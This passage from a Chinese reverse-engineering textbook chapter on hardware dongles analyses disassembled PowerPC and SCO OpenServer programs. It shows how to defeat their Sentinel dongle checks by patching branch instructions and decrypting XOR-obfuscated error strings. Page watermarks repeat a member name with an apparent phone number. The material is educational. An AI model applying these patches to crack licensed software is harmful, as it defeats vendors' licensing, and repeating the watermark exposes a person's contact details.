%r3, 0 seg000:00118880 48 00 01 F0 b exit seg000:00118884 seg000:00118884 loc_118884: # CODE XREF: check3+13Cj seg000:00118884 57 BF 06 3E clrlwi %r31, %r29, 24 seg000:00118888 28 1F 00 02 cmplwi %r31, 2 seg000:0011888C 40 82 00 0C bne loc_118898 seg000:00118890 38 60 00 01 li %r3, 1 seg000:00118894 48 00 01 DC b exit seg000:00118898 seg000:00118898 loc_118898: # CODE XREF: check3+150j seg000:00118898 80 DE 00 00 lwz %r6, dword_24B704 seg000:0011889C 38 81 00 38 addi %r4, %sp, 0x50+var_18 seg000:001188A0 38 60 00 0B li %r3, 0xB seg000:001188A4 38 A0 00 00 li %r5, 0 seg000:001188A8 48 00 BF 21 bl .RBEREAD seg000:001188AC 60 00 00 00 nop seg000:001188B0 54 60 04 3F clrlwi. %r0, %r3, 16 seg000:001188B4 41 82 00 0C beq loc_1188C0 seg000:001188B8 38 60 00 00 li %r3, 0 seg000:001188BC 48 00 01 B4 b exit seg000:001188C0 seg000:001188C0 loc_1188C0: # CODE XREF: check3+178j seg000:001188C0 A0 01 00 38 lhz %r0, 0x50+var_18(%sp) seg000:001188C4 28 00 23 1C cmplwi %r0, 0x1C20 seg000:001188C8 41 82 00 0C beq loc_1188D4 seg000:001188CC 38 60 00 00 li %r3, 0 seg000:001188D0 48 00 01 A0 b exit seg000:001188D4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 78 章 加 密 狗 735 seg000:001188D4 loc_1188D4: # CODE XREF: check3+18Cj seg000:001188D4 28 1F 00 03 cmplwi %r31, 3 seg000:001188D8 40 82 01 94 bne error seg000:001188DC 38 60 00 01 li %r3, 1 seg000:001188E0 48 00 01 90 b exit seg000:001188E4 seg000:001188E4 loc_1188E4: # CODE XREF: check3+A8j seg000:001188E4 80 DE 00 00 lwz %r6, dword_24B704 seg000:001188E8 38 81 00 38 addi %r4, %sp, 0x50+var_18 seg000:001188EC 38 60 00 0C li %r3, 0xC seg000:001188F0 38 A0 00 00 li %r5, 0 seg000:001188F4 48 00 BE D5 bl .RBEREAD seg000:001188F8 60 00 00 00 nop seg000:001188FC 54 60 04 3F clrlwi. %r0, %r3, 16 seg000:00118900 41 82 00 0C beq loc_11890C seg000:00118904 38 60 00 00 li %r3, 0 seg000:00118908 48 00 01 68 b exit seg000:0011890C seg000:0011890C loc_11890C: # CODE XREF: check3+1C4j seg000:0011890C A0 01 00 38 lhz %r0, 0x50+var_18(%sp) seg000:00118910 28 00 1F 40 cmplwi %r0, 0x40FF seg000:00118914 41 82 00 0C beq loc_118920 seg000:00118918 38 60 00 00 li %r3, 0 seg000:0011891C 48 00 01 54 b exit seg000:00118920 seg000:00118920 loc_118920: # CODE XREF: check3+1D8j seg000:00118920 57 BF 06 3E clrlwi %r31, %r29, 24 seg000:00118924 28 1F 00 02 cmplwi %r31, 2 seg000:00118928 40 82 00 0C bne loc_118934 seg000:0011892C 38 60 00 01 li %r3, 1 seg000:00118930 48 00 01 40 b exit seg000:00118934 seg000:00118934 loc_118934: # CODE XREF: check3+1ECj seg000:00118934 80 DE 00 00 lwz %r6, dword_24B704 seg000:00118938 38 81 00 38 addi %r4, %sp, 0x50+var_18 seg000:0011893C 38 60 00 0D li %r3, 0xD seg000:00118940 38 A0 00 00 li %r5, 0 seg000:00118944 48 00 BE 85 bl .RBEREAD seg000:00118948 60 00 00 00 nop seg000:0011894C 54 60 04 3F clrlwi. %r0, %r3, 16 seg000:00118950 41 82 00 0C beq loc_11895C seg000:00118954 38 60 00 00 li %r3, 0 seg000:00118958 48 00 01 18 b exit seg000:0011895C seg000:0011895C loc_11895C: # CODE XREF: check3+214j seg000:0011895C A0 01 00 38 lhz %r0, 0x50+var_18(%sp) seg000:00118960 28 00 07 CF cmplwi %r0, 0xFC7 seg000:00118964 41 82 00 0C beq loc_118970 seg000:00118968 38 60 00 00 li %r3, 0 seg000:0011896C 48 00 01 04 b exit seg000:00118970 seg000:00118970 loc_118970: # CODE XREF: check3+228j seg000:00118970 28 1F 00 03 cmplwi %r31, 3 seg000:00118974 40 82 00 F8 bne error seg000:00118978 38 60 00 01 li %r3, 1 seg000:0011897C 48 00 00 F4 b exit seg000:00118980 seg000:00118980 loc_118980: # CODE XREF: check3+B8j seg000:00118980 # check3+C4j seg000:00118980 80 DE 00 00 lwz %r6, dword_24B704 seg000:00118984 38 81 00 38 addi %r4, %sp, 0x50+var_18 seg000:00118988 3B E0 00 00 li %r31, 0 seg000:0011898C 38 60 00 04 li %r3, 4 seg000:00118990 38 A0 00 00 li %r5, 0 seg000:00118994 48 00 BE 35 bl .RBEREAD 异步社区会员 dearfuture(15918834820) 专享 尊重版权 736 逆向工程权威指南(下册) seg000:00118998 60 00 00 00 nop seg000:0011899C 54 60 04 3F clrlwi. %r0, %r3, 16 seg000:001189A0 41 82 00 0C beq loc_1189AC seg000:001189A4 38 60 00 00 li %r3, 0 seg000:001189A8 48 00 00 C8 b exit seg000:001189AC seg000:001189AC loc_1189AC: # CODE XREF: check3+264j seg000:001189AC A0 01 00 38 lhz %r0, 0x50+var_18(%sp) seg000:001189B0 28 00 1D 6A cmplwi %r0, 0xAED0 seg000:001189B4 40 82 00 0C bne loc_1189C0 seg000:001189B8 3B E0 00 01 li %r31, 1 seg000:001189BC 48 00 00 14 b loc_1189D0 seg000:001189C0 seg000:001189C0 loc_1189C0: # CODE XREF: check3+278j seg000:001189C0 28 00 18 28 cmplwi %r0, 0x2818 seg000:001189C4 41 82 00 0C beq loc_1189D0 seg000:001189C8 38 60 00 00 li %r3, 0 seg000:001189CC 48 00 00 A4 b exit seg000:001189D0 seg000:001189D0 loc_1189D0: # CODE XREF: check3+280j seg000:001189D0 # check3+288j seg000:001189D0 57 A0 06 3E clrlwi %r0, %r29, 24 seg000:001189D4 28 00 00 02 cmplwi %r0, 2 seg000:001189D8 40 82 00 20 bne loc_1189F8 seg000:001189DC 57 E0 06 3F clrlwi. %r0, %r31, 24 seg000:001189E0 41 82 00 10 beq good2 seg000:001189E4 48 00 4C 69 bl sub_11D64C seg000:001189E8 60 00 00 00 nop seg000:001189EC 48 00 00 84 b exit seg000:001189F0 seg000:001189F0 good2: # CODE XREF: check3+2A4j seg000:001189F0 38 60 00 01 li %r3, 1 seg000:001189F4 48 00 00 7C b exit seg000:001189F8 seg000:001189F8 loc_1189F8: # CODE XREF: check3+29Cj seg000:001189F8 80 DE 00 00 lwz %r6, dword_24B704 seg000:001189FC 38 81 00 38 addi %r4, %sp, 0x50+var_18 seg000:00118A00 38 60 00 05 li %r3, 5 seg000:00118A04 38 A0 00 00 li %r5, 0 seg000:00118A08 48 00 BD C1 bl .RBEREAD seg000:00118A0C 60 00 00 00 nop seg000:00118A10 54 60 04 3F clrlwi. %r0, %r3, 16 seg000:00118A14 41 82 00 0C beq loc_118A20 seg000:00118A18 38 60 00 00 li %r3, 0 seg000:00118A1C 48 00 00 54 b exit seg000:00118A20 seg000:00118A20 loc_118A20: # CODE XREF: check3+2D8j seg000:00118A20 A0 01 00 38 lhz %r0, 0x50+var_18(%sp) seg000:00118A24 28 00 11 D3 cmplwi %r0, 0xD300 seg000:00118A28 40 82 00 0C bne loc_118A34 seg000:00118A2C 3B E0 00 01 li %r31, 1 seg000:00118A30 48 00 00 14 b good1 seg000:00118A34 seg000:00118A34 loc_118A34: # CODE XREF: check3+2ECj seg000:00118A34 28 00 1A EB cmplwi %r0, 0xEBA1 seg000:00118A38 41 82 00 0C beq good1 seg000:00118A3C 38 60 00 00 li %r3, 0 seg000:00118A40 48 00 00 30 b exit seg000:00118A44 seg000:00118A44 good1: # CODE XREF: check3+2F4j seg000:00118A44 # check3+2FCj seg000:00118A44 57 A0 06 3E clrlwi %r0, %r29, 24 seg000:00118A48 28 00 00 03 cmplwi %r0, 3 seg000:00118A4C 40 82 00 20 bne error seg000:00118A50 57 E0 06 3F clrlwi. %r0, %r31, 24 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 78 章 加 密 狗 737 seg000:00118A54 41 82 00 10 beq good seg000:00118A58 48 00 4B F5 bl sub_11D64C seg000:00118A5C 60 00 00 00 nop seg000:00118A60 48 00 00 10 b exit seg000:00118A64 seg000:00118A64 good: # CODE XREF: check3+318j seg000:00118A64 38 60 00 01 li %r3, 1 seg000:00118A68 48 00 00 08 b exit seg000:00118A6C seg000:00118A6C error: # CODE XREF: check3+19Cj seg000:00118A6C # check3+238j ... seg000:00118A6C 38 60 00 00 li %r3, 0 seg000:00118A70 seg000:00118A70 exit: # CODE XREF: check3+44j seg000:00118A70 # check3+58j ... seg000:00118A70 80 01 00 58 lwz %r0, 0x50+arg_8(%sp) seg000:00118A74 38 21 00 50 addi %sp, %sp, 0x50 seg000:00118A78 83 E1 FF FC lwz %r31, var_4(%sp) seg000:00118A7C 7C 08 03 A6 mtlr %r0 seg000:00118A80 83 C1 FF F8 lwz %r30, var_8(%sp) seg000:00118A84 83 A1 FF F4 lwz %r29, var_C(%sp) seg000:00118A88 4E 80 00 20 blr seg000:00118A88 # End of function check3 此函数多次调用了.RBEREAD()函数。在调用后面的这个函数之后,check3()函数又大量使用 CMPLWI 指令将返回值与特定的固定值进行比较。由此可见.RBEREAD()函数大体是从加密狗读取数据的函数。 另外,在调用.RBEREAD()函数之前,r3 寄存器的取值不外乎 0、1、8、0xA、0xB、0xC、0xD、4 和 5。这很可能是内存地址一类的信息。 如果使用 google 引擎搜索这些函数名,google 的查询结果多数就是 Sentinel Eve 3 加密狗开发手册。 其实,在不了解其他 PowerPC 指令的情况下,我们照样可以分析加密狗的有关操作。毕竟认证函数就 是这几个,而且“认证成功”的返回值肯定是 1,“认证失败”的返回值又肯定是 0。 综合上述分析,只要让 check1()函数的返回值固定为 1 或者其他某个非零值,即可破解软件狗认证。 但是因为我并不熟悉 PowerPC 的指令,所以我决定采取保守的修改方案:修改 check2()函数中 0x001186FC 处和 0x00118718 处的转移指令。 我把 0x001186FC 的指令改为 0x48 和 0,即把 BEQ 指令替换为无条件转移指令 B。即使不参阅[IBM00] 的参考手册,我们也能在程序里找到 B 指令的 opcode。 另外,我把 0x00118718 处修改为一个 0x60 和三个 0 字节,将有关指令改为 NOP 指令。当然,这也是 从原程序里找的 opcode。 进行上述修改之后,在不插入加密狗的情况下,程序仍然可正常运行。 总之,借助 IDA 和部分汇编知识,任何人都可以小规模地修改程序。 78.2 例 2: SCO OpenServer 本例研究的程序是 1997 年开发的面向 SCO OpenServer 的程序。因为年代过于久远,买家早就找不到 开发商了。 这款软件的加密狗驱动程序是定制程序。这个驱动程序里有“Copyright 1989, Rainbow Technologies, Inc., Irvine, CA”和“Sentinel Integrated Driver Ver. 3.0”的字样。 在 SCO OpenServer 上安装驱动程序之后,硬件加密狗将会加载到文件系统的/dev 目录里: /dev/rbsl8 /dev/rbsl9 /dev/rbsl10 异步社区会员 dearfuture(15918834820) 专享 尊重版权 738 逆向工程权威指南(下册) 如果不插入加密狗,程序将会报错。而且错误信息不在可执行程序里。 好在 IDA 可以加载 SCO OpenServer 的 COFF 程序。 在 IDA 里搜索“rbsl”,然后找到了下述指令: .text:00022AB8 public SSQC .text:00022AB8 SSQC proc near ; CODE XREF: SSQ+7p .text:00022AB8 .text:00022AB8 var_44 = byte ptr -44h .text:00022AB8 var_29 = byte ptr -29h .text:00022AB8 arg_0 = dword ptr 8 .text:00022AB8 .text:00022AB8 push ebp .text:00022AB9 mov ebp, esp .text:00022ABB sub esp, 44h .text:00022ABE push edi .text:00022ABF mov edi, offset unk_4035D0 .text:00022AC4 push esi .text:00022AC5 mov esi, [ebp+arg_0] .text:00022AC8 push ebx .text:00022AC9 push esi .text:00022ACA call strlen .text:00022ACF add esp, 4 .text:00022AD2 cmp eax, 2 .text:00022AD7 jnz loc_22BA4 .text:00022ADD inc esi .text:00022ADE mov al, [esi-1] .text:00022AE1 movsx eax, al .text:00022AE4 cmp eax, '3' .text:00022AE9 jz loc_22B84 .text:00022AEF cmp eax, '4' .text:00022AF4 jz loc_22B94 .text:00022AFA cmp eax, '5' .text:00022AFF jnz short loc_22B6B .text:00022B01 movsx ebx, byte ptr [esi] .text:00022B04 sub ebx, '0' .text:00022B07 mov eax, 7 .text:00022B0C add eax, ebx .text:00022B0E push eax .text:00022B0F lea eax, [ebp+var_44] .text:00022B12 push offset aDevSlD ; "/dev/sl%d" .text:00022B17 push eax .text:00022B18 call nl_sprintf .text:00022B1D push 0 ; int .text:00022B1F push offset aDevRbsl8 ; char * .text:00022B24 call _access .text:00022B29 add esp, 14h .text:00022B2C cmp eax, 0FFFFFFFFh .text:00022B31 jz short loc_22B48 .text:00022B33 lea eax, [ebx+7] .text:00022B36 push eax .text:00022B37 lea eax, [ebp+var_44] .text:00022B3A push offset aDevRbslD ; "/dev/rbsl%d" .text:00022B3F push eax .text:00022B40 call nl_sprintf .text:00022B45 add esp, 0Ch .text:00022B48 .text:00022B48 loc_22B48: ; CODE XREF: SSQC+79j .text:00022B48 mov edx, [edi] .text:00022B4A test edx, edx .text:00022B4C jle short loc_22b57 .text:00022B4E push edx ; int .text:00022B4F call _close .text:00022B54 add esp, 4 .text:00022B57 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 78 章 加 密 狗 739 .text:00022B57 loc_22B57: ; CODE XREF: SSQC+94j .text:00022B57 push 2 ; int .text:00022B59 lea eax, [ebp+var_44] .text:00022B5C push eax ; char * .text:00022B5D call _open .text:00022B62 add esp, 8 .text:00022B65 test eax, eax .text:00022B67 mov [edi], eax .text:00022B69 jge short loc_22B78 .text:00022B6B .text:00022B6B loc_22B6B: ; CODE XREF: SSQC+47j .text:00022B6B mov eax, 0FFFFFFFFh .text:00022B70 pop ebx .text:00022B71 pop esi .text:00022B72 pop edi .text:00022B73 mov esp,ebp .text:00022B75 pop ebp .text:00022B76 retn .text:00022B78 .text:00022B78 loc_22B78: ; CODE XREF: SSQC+B1j .text:00022B78 pop ebx .text:00022B79 pop esi .text:00022B7A pop edi .text:00022B7B xor eax, eax .text:00022B7D mov esp, ebp .text:00022B7F pop ebp .text:00022B80 retn .text:00022B84 .text:00022B84 loc_22B84: ; CODE XREF: SSQC+31j .text:00022B84 mov al, [esi] .text:00022B86 pop ebx .text:00022B87 pop esi .text:00022B88 pop edi .text:00022B89 mov ds:byte_407224, al .text:00022B8E mov esp, ebp .text:00022B90 xor eax, eax .text:00022B92 pop ebp .text:00022B93 retn .text:00022B94 .text:00022B94 loc_22B94: ; CODE XREF: SSQC+3Cj .text:00022B94 mov al, [esi] .text:00022B96 pop ebx .text:00022B97 pop esi .text:00022B98 pop edi .text:00022B99 mov ds:byte_407225, al .text:00022B9E mov esp, ebp .text:00022BA0 xor eax, eax .text:00022BA2 pop ebp .text:00022BA3 retn .text:00022BA4 .text:00022BA4 loc_22BA4: ; CODE XREF: SSQC+1Fj .text:00022BA4 movsx eax, ds:byte_407225 .text:00022BAB push esi .text:00022BAC push eax .text:00022BAD movsx eax, ds:byte_407224 .text:00022BB4 push eax .text:00022BB5 lea eax, [ebp+var_44] .text:00022BB8 push offset a46CCS ; "46%c%c%s" .text:00022BBD push eax .text:00022BBE call nl_sprintf .text:00022BC3 lea eax, [ebp+var_44] .text:00022BC6 push eax .text:00022BC7 call strlen .text:00022BCC add esp, 18h .text:00022BCF cmp eax, 1Bh .text:00022BD4 jle short loc_22BDA 异步社区会员 dearfuture(15918834820) 专享 尊重版权 740 逆向工程权威指南(下册) .text:00022BD6 mov [ebp+var_29], 0 .text:00022BDA .text:00022BDA loc_22BDA: ; CODE XREF: SSQC+11Cj .text:00022BDA lea eax, [ebp+var_44] .text:00022BDD push eax .text:00022BDE call strlen .text:00022BE3 push eax ; unsigned int .text:00022BE4 lea eax, [ebp+var_44] .text:00022BE7 push eax ; void * .text:00022BE8 mov eax, [edi] .text:00022BEA push eax ; int .text:00022BEB call _write .text:00022BF0 add esp, 10h .text:00022BF3 pop ebx .text:00022BF4 pop esi .text:00022BF5 pop edi .text:00022BF6 mov esp, ebp .text:00022BF8 pop ebp .text:00022BF9 retn .text:00022BFA db 0Eh dup(90h) .text:00022BFA SSQC endp 果然,该程序要和驱动程序通信。 而且,只有下面这个形实转换函数调用了 SSQC()函数: .text:0000DBE8 public SSQ .text:0000DBE8 SSQ proc near ; CODE XREF: sys_info+A9p .text:0000DBE8 ; sys_info+CBp... .text:0000DBE8 .text:0000DBE8 arg_0 = dword ptr 8 .text:0000DBE8 .text:0000DBE8 push ebp .text:0000DBE9 mov ebp, esp .text:0000DBEB mov edx, [ebp+arg_0] .text:0000DBEE push edx .text:0000DBEF call SSQC .text:0000DBF4 add esp, 4 .text:0000DBF7 mov esp, ebp .text:0000DBF9 pop ebp .text:0000DBFA retn .text:0000DBFB SSQ endp 调用 SSQ()函数的指令至少有两处。 其中一处是: .data:0040169C _51_52_53 dd offset aPressAnyKeyT_0 ; DATA XREF: init_sys+392r .data:0040169C ; sys_info+A1r .data:0040169C ; "PRESS ANY KEY TO CONTINUE: " .data:004016A0 dd offset a51 ; "51" .data:004016A4 dd offset a52 ; "52" .data:004016A8 dd offset a53 ; "53" ... .data:004016B8 _3C_or_3E dd offset a3c ; DATA XREF: sys_info:loc_D67Br .data:004016B8 ; "3C" .data:004016BC dd offset a3e ; "3E" ; these names we gave to the labels: .data:004016C0 answers1 dd 6B05h ; DATA XREF: sys_info+E7r .data:004016C4 dd 3D87h .data:004016C8 answers2 dd 3Ch ; DATA XREF: sys_info+F2r .data:004016CC dd 832h .data:004016D0 _C_and_B db 0Ch ; DATA XREF: sys_info+BAr .data:004016D0 ; sys_info:OKr .data:004016D1 byte_4016D1 db 0Bh ; DATA XREF: sys_info+FDr 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 78 章 加 密 狗 741 .data:004016D2 db 0 ... .text:0000D652 xor eax, eax .text:0000D654 mov al, ds:ctl_port .text:0000D659 mov ecx, _51_52_53[eax*4] .text:0000D660 push ecx .text:0000D661 call SSQ .text:0000D666 add esp, 4 .text:0000D669 cmp eax, 0FFFFFFFFh .text:0000D66E jz short loc_D6D1 .text:0000D670 xor ebx, ebx .text:0000D672 mov al, _C_and_B .text:0000D677 test al, al .text:0000D679 jz short loc_D6C0 .text:0000D67B .text:0000D67B loc_D67B: ; CODE XREF: sys_info+106j .text:0000D67B mov eax, _3C_or_3E[ebx*4] .text:0000D682 push eax .text:0000D683 call SSQ .text:0000D688 push offset a4g ; "4G" .text:0000D68D call SSQ .text:0000D692 push offset a0123456789 ; "0123456789" .text:0000D697 call SSQ .text:0000D69C add esp, 0Ch .text:0000D69F mov edx, answers1[ebx*4] .text:0000D6A6 cmp eax, edx .text:0000D6A8 jz short OK .text:0000D6AA mov ecx, answers2[ebx*4] .text:0000D6B1 cmp eax, ecx .text:0000D6B3 jz short OK .text:0000D6B5 mov al, byte_4016D1[ebx] .text:0000D6BB inc ebx .text:0000D6BC test al, al .text:0000D6BE jnz short loc_D67B .text:0000D6C0 .text:0000D6C0 loc_D6C0: ; CODE XREF: sys_info+C1j .text:0000D6C0 inc ds:ctl_port .text:0000D6C6 xor eax, eax .text:0000D6C8 mov al, ds:ctl_port .text:0000D6CD cmp eax, edi .text:0000D6CF jle short loc_D652 .text:0000D6D1 .text:0000D6D1 loc_D6D1: ; CODE XREF: sys_info+98j .text:0000D6D1 ; sys_info+B6j .text:0000D6D1 mov edx, [ebp+var_8] .text:0000D6D4 inc edx .text:0000D6D5 mov [ebp+var_8], edx .text:0000D6D8 cmp edx, 3 .text:0000D6DB jle loc_D641 .text:0000D6E1 .text:0000D6E1 loc_D6E1: ; CODE XREF: sys_info+16j .text:0000D6E1 ; sys_info+51j ... .text:0000D6E1 pop ebx .text:0000D6E2 pop edi .text:0000D6E3 mov esp, ebp .text:0000D6E5 pop ebp .text:0000D6E6 retn .text:0000D6E8 OK: ; CODE XREF: sys_info+F0j .text:0000D6E8 ; sys_info+FBj .text:0000D6E8 mov al, _C_and_B[ebx] .text:0000D6EE pop ebx .text:0000D6EF pop edi .text:0000D6F0 mov ds:ctl_model, al 异步社区会员 dearfuture(15918834820) 专享 尊重版权 742 逆向工程权威指南(下册) .text:0000D6F5 mov esp, ebp .text:0000D6F7 pop ebp .text:0000D6F8 retn .text:0000D6F8 sys_info endp “3C”和“3E”听起来很熟:它是私有的、单功能加密-哈希函数,用于 Rainbow 公司生产的一款没 有内存的 Sentinel Pro 加密狗。 本书的第 34 章详细介绍过哈希函数。 就这个程序而言,我们可以据此判断它仅检测加密狗的“有/无”信息。这款加密狗上不具备内存芯片, 也就无法存储信息;换句话说这个程序不会向加密狗写数据。后面连续出现的双字符代码是指令代码,由 SSQC()函数接收和处理。其他字符串的哈希值都以 16 位数字的形式存储在加密狗里。因为开发厂商的加 密算法是私有算法,所以编写驱动程序替身、或者仿制硬件加密狗的做法都行不通。但是,“截获所有访问 加密狗的操作、继而找到程序核对的哈希值”确实行得通。不怕麻烦的话,我们还可以摸索程序逻辑、基 于私有的加密哈希函数再建一个软件,从而使用自制软件替代原有软件对数据文件进行加解密。 代码 51/52/53 用于选择 LPT 打印机接口。3x/4x 用于选择相应的加密狗“系列”。不同类型的 Sentinel Pro 加密狗可以接在同一个 LPT 接口上,而区分加密狗的工作则由应用程序完成。 除了字符串“0123456789”以外,传递给哈希函数的值都是双字符的字符串。然后,函数返回的哈希 值与一系列有效值进行比较。如果该值有效,全局变量 ctl_model 将被赋值为 0xC 或 0xB。 此外,程序还定义了字符串“PRESS ANY KEY TO CONTINUE:”,这应当是通过加密狗认证之后的提 示信息。不过整个程序没有调用过这个字符串,恐怕这属于源程序的 bug 吧。 接下来,我们要关注全局变量 ctl_mode 的读取指令。 其中一处是: .text:0000D708 prep_sys proc near ; CODE XREF: init_sys+46Ap .text:0000D708 .text:0000D708 var_14 = dword ptr -14h .text:0000D708 var_10 = byte ptr -10h .text:0000D708 var_8 = dword ptr -8 .text:0000D708 var_2 = word ptr -2 .text:0000D708 .text:0000D708 push ebp .text:0000D709 mov eax, ds:net_env .text:0000D70E mov ebp, esp .text:0000D710 sub esp, 1Ch .text:0000D713 test eax, eax .text:0000D715 jnz short loc_D734 .text:0000D717 mov al, ds:ctl_model .text:0000D71C test al, al .text:0000D71E jnz short loc_D77E .text:0000D720 mov [ebp+var_8], offset aIeCvulnvvOkgT_ ; "Ie-cvulnvV\\\bOKG]T_" .text:0000D727 mov edx, 7 .text:0000D72C jmp loc_D7E7 ... .text:0000D7E7 loc_D7E7: ; CODE XREF: prep_sys+24j .text:0000D7E7 ; prep_sys+33j .text:0000D7E7 push edx .text:0000D7E8 mov edx, [ebp+var_8] .text:0000D7EB push 20h .text:0000D7ED push edx .text:0000D7EE push 16h .text:0000D7F0 call err_warn .text:0000D7F5 push offset station_sem .text:0000D7FA call ClosSem .text:0000D7FF call startup_err 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 78 章 加 密 狗 743 如果 ctl_mode 为 0,那么一条经过加密处理的错误信息将被传递到解密程序,从而出现在屏幕上。 这个错误信息的解密方法就是简单的 XOR 算法: .text:0000A43C err_warn proc near ; CODE XREF: prep_sys+E8p .text:0000A43C ; prep_sys2+2Fp ... .text:0000A43C .text:0000A43C var_55 = byte ptr -55h .text:0000A43C var_54 = byte ptr -54h .text:0000A43C arg_0 = dword ptr 8 .text:0000A43C arg_4 = dword ptr 0Ch .text:0000A43C arg_8 = dword ptr 10h .text:0000A43C arg_C = dword ptr 14h .text:0000A43C .text:0000A43C push ebp .text:0000A43D mov ebp, esp .text:0000A43F sub esp, 54h .text:0000A442 push edi .text:0000A443 mov ecx, [ebp+arg_8] .text:0000A446 xor edi, edi .text:0000A448 test ecx, ecx .text:0000A44A push esi .text:0000A44B jle short loc_A466 .text:0000A44D mov esi, [ebp+arg_C] ; key .text:0000A450 mov edx, [ebp+arg_4] ; string .text:0000A453 .text:0000A453 loc_A453: ; CODE XREF: err_warn+28j .text:0000A453 xor eax, eax .text:0000A455 mov al, [edx+edi] .text:0000A458 xor eax, esi .text:0000A45A add esi, 3 .text:0000A45D inc edi .text:0000A45E cmp edi, ecx .text:0000A460 mov [ebp+edi+var_55], al .text:0000A464 jl short loc_A453 .text:0000A466 .text:0000A466 loc_A466: ; CODE XREF: err_warn+Fj .text:0000A466 mov [ebp+edi+var_54], 0 .text:0000A46B mov eax, [ebp+arg_0] .text:0000A46E cmp eax, 18h .text:0000A473 jnz short loc_A49C .text:0000A475 lea eax, [ebp+var_54] .text:0000A478 push eax .text:0000A479 call status_line .text:0000A47E add esp, 4 .text:0000A481 .text:0000A481 loc_A481: ; CODE XREF: err_warn+72j .text:0000A481 push 50h .text:0000A483 push 0 .text:0000A485 lea eax, [ebp+var_54] .text:0000A488 push eax .text:0000A489 call memset .text:0000A48E call pcv_refresh .text:0000A493 add esp, 0Ch .text:0000A496 pop esi .text:0000A497 pop edi .text:0000A498 mov esp, ebp .text:0000A49A pop ebp .text:0000A49B retn .text:0000A49C .text:0000A49C loc_A49C: ; CODE XREF: err_warn+37j .text:0000A49C push 0 .text:0000A49E lea eax, [ebp+var_54] .text:0000A4A1 mov edx, [ebp+arg_0] .text:0000A4A4 push edx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 744 逆向工程权威指南(下册) .text:0000A4A5 push eax .text:0000A4A6 call pcv_lputs .text:0000A4AB add esp, 0Ch .text:0000A4AE jmp short loc_A481 .text:0000A4AE err_warn endp 因为程序对提示信息进行了加密处理(这是常见手段),所以我无法在可执行程序里直接找到错误的提 示信息。 此外,程序里还有一个调用哈希函数 SSQ()的地方。在调用过程中,该处指令向哈希函数传递了字符 串“offln”。后续指令将返回值与 0xFE81 和 0x12A9 进行比对。如果两个值不匹配,程序将启用 timer()函 数(貌似是等待用户重新插入加密狗),然后在屏幕上显示另一个错误提示信息: .text:0000DA55 loc_DA55: ; CODE XREF: sync_sys+24Cj .text:0000DA55 push offset aOffln ; "offln" .text:0000DA5A call SSQ .text:0000DA5F add esp, 4 .text:0000DA62 mov dl, [ebx] .text:0000DA64 mov esi, eax .text:0000DA66 cmp dl, 0Bh .text:0000DA69 jnz short loc_DA83 .text:0000DA6B cmp esi, 0FE81h .text:0000DA71 jz OK .text:0000DA77 cmp esi, 0FFFFF8EFh .text:0000DA7D jz OK .text:0000DA83 .text:0000DA83 loc_DA83: ; CODE XREF: sync_sys+201j .text:0000DA83 mov cl, [ebx] .text:0000DA85 cmp cl, 0Ch .text:0000DA88 jnz short loc_DA9F .text:0000DA8A cmp esi, 12A9h .text:0000DA90 jz OK .text:0000DA96 cmp esi, 0FFFFFFF5h .text:0000DA99 jz OK .text:0000DA9F .text:0000DA9F loc_DA9F: ; CODE XREF: sync_sys+220j .text:0000DA9F mov eax, [ebp+var_18] .text:0000DAA2 test eax, eax .text:0000DAA4 jz short loc_DAB0 .text:0000DAA6 push 24h .text:0000DAA8 call timer .text:0000DAAD add esp, 4 .text:0000DAB0 .text:0000DAB0 loc_DAB0: ; CODE XREF: sync_sys+23Cj .text:0000DAB0 inc edi .text:0000DAB1 cmp edi, 3 .text:0000DAB4 jle short loc_DA55 .text:0000DAB6 mov eax, ds:net_env .text:0000DABB test eax, eax .text:0000DABD jz short error ... .text:0000DAF7 error: ; CODE XREF: sync_sys+255j .text:0000DAF7 ; sync_sys+274j ... .text:0000DAF7 mov [ebp+var_8], offset encrypted_error_message2 .text:0000DAFE mov [ebp+var_C], 17h ; decrypting key .text:0000DB05 jmp decrypt_end_print_message ... ; this name I gave to label: .text:0000D9B6 decrypt_end_print_message: ; CODE XREF: sync_sys+29Dj .text:0000D9B6 ; sync_sys+2ABj 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 78 章 加 密 狗 745 .text:0000D9B6 mov eax, [ebp+var_18] .text:0000D9B9 test eax, eax .text:0000D9BB jnz short loc_D9FB .text:0000D9BD mov edx, [ebp+var_C] ; key .text:0000D9C0 mov ecx, [ebp+var_8] ; string .text:0000D9C3 push edx .text:0000D9C4 push 20h .text:0000D9C6 push ecx .text:0000D9C7 push 18h .text:0000D9C9 call err_warn .text:0000D9CE push 0Fh .text:0000D9D0 push 190h .text:0000D9D5 call sound .text:0000D9DA mov [ebp+var_18], 1 .text:0000D9E1 add esp, 18h .text:0000D9E4 call pcv_kbhit .text:0000D9E9 test eax, eax .text:0000D9EB jz short loc_D9FB ... ; this name I gave to label: .data:00401736 encrypted_error_message2 db 74h, 72h, 78h, 43h, 48h, 6, 5Ah, 49h, 4Ch, 2 dup(47h) .data:00401736 db 51h, 4Fh, 47h, 61h, 20h, 22h, 3Ch, 24h, 33h, 36h, 76h .data:00401736 db 3Ah, 33h, 31h, 0Ch, 0, 0Bh, 1Fh, 7, 1Eh, 1Ah 可见,破解加密狗的工作十分简单:我们只需要找到相关的 CMP 指令,把它后面的转移指令替换为 无条件转移指令即可。当然,编写自制的 SCO OpenServer 驱动程序也不失为一种方法。 解密错误信息 我们还能够破解源程序中的错误信息。程序里 err_warn()函数所采用的解密算法非常简单。 指令清单 78.1 Decryption function .text:0000A44D mov esi, [ebp+arg_C] ; key .text:0000A450 mov edx, [ebp+arg_4] ; string .text:0000A453 loc_A453: .text:0000A453 xor eax, eax .text:0000A455 mov al, [edx+edi] ; load encrypted byte .text:0000A458 xor eax, esi ; decrypt it .text:0000A45A add esi, 3 ; change key for the next byte .text:0000A45D inc edi .text:0000A45E cmp edi, ecx .text:0000A460 mov [ebp+edi+var_55], al .text:0000A464 jl short loc_A453 由此可见,程序不仅向解密函数传递了加密后的字符串,而且向它传递了加密密钥: .text:0000DAF7 error: ; CODE XREF: sync_sys+255j .text:0000DAF7 ; sync_sys+274j ... .text:0000DAF7 mov [ebp+var_8], offset encrypted_error_message2 .text:0000DAFE mov [ebp+var_C], 17h ; decrypting key 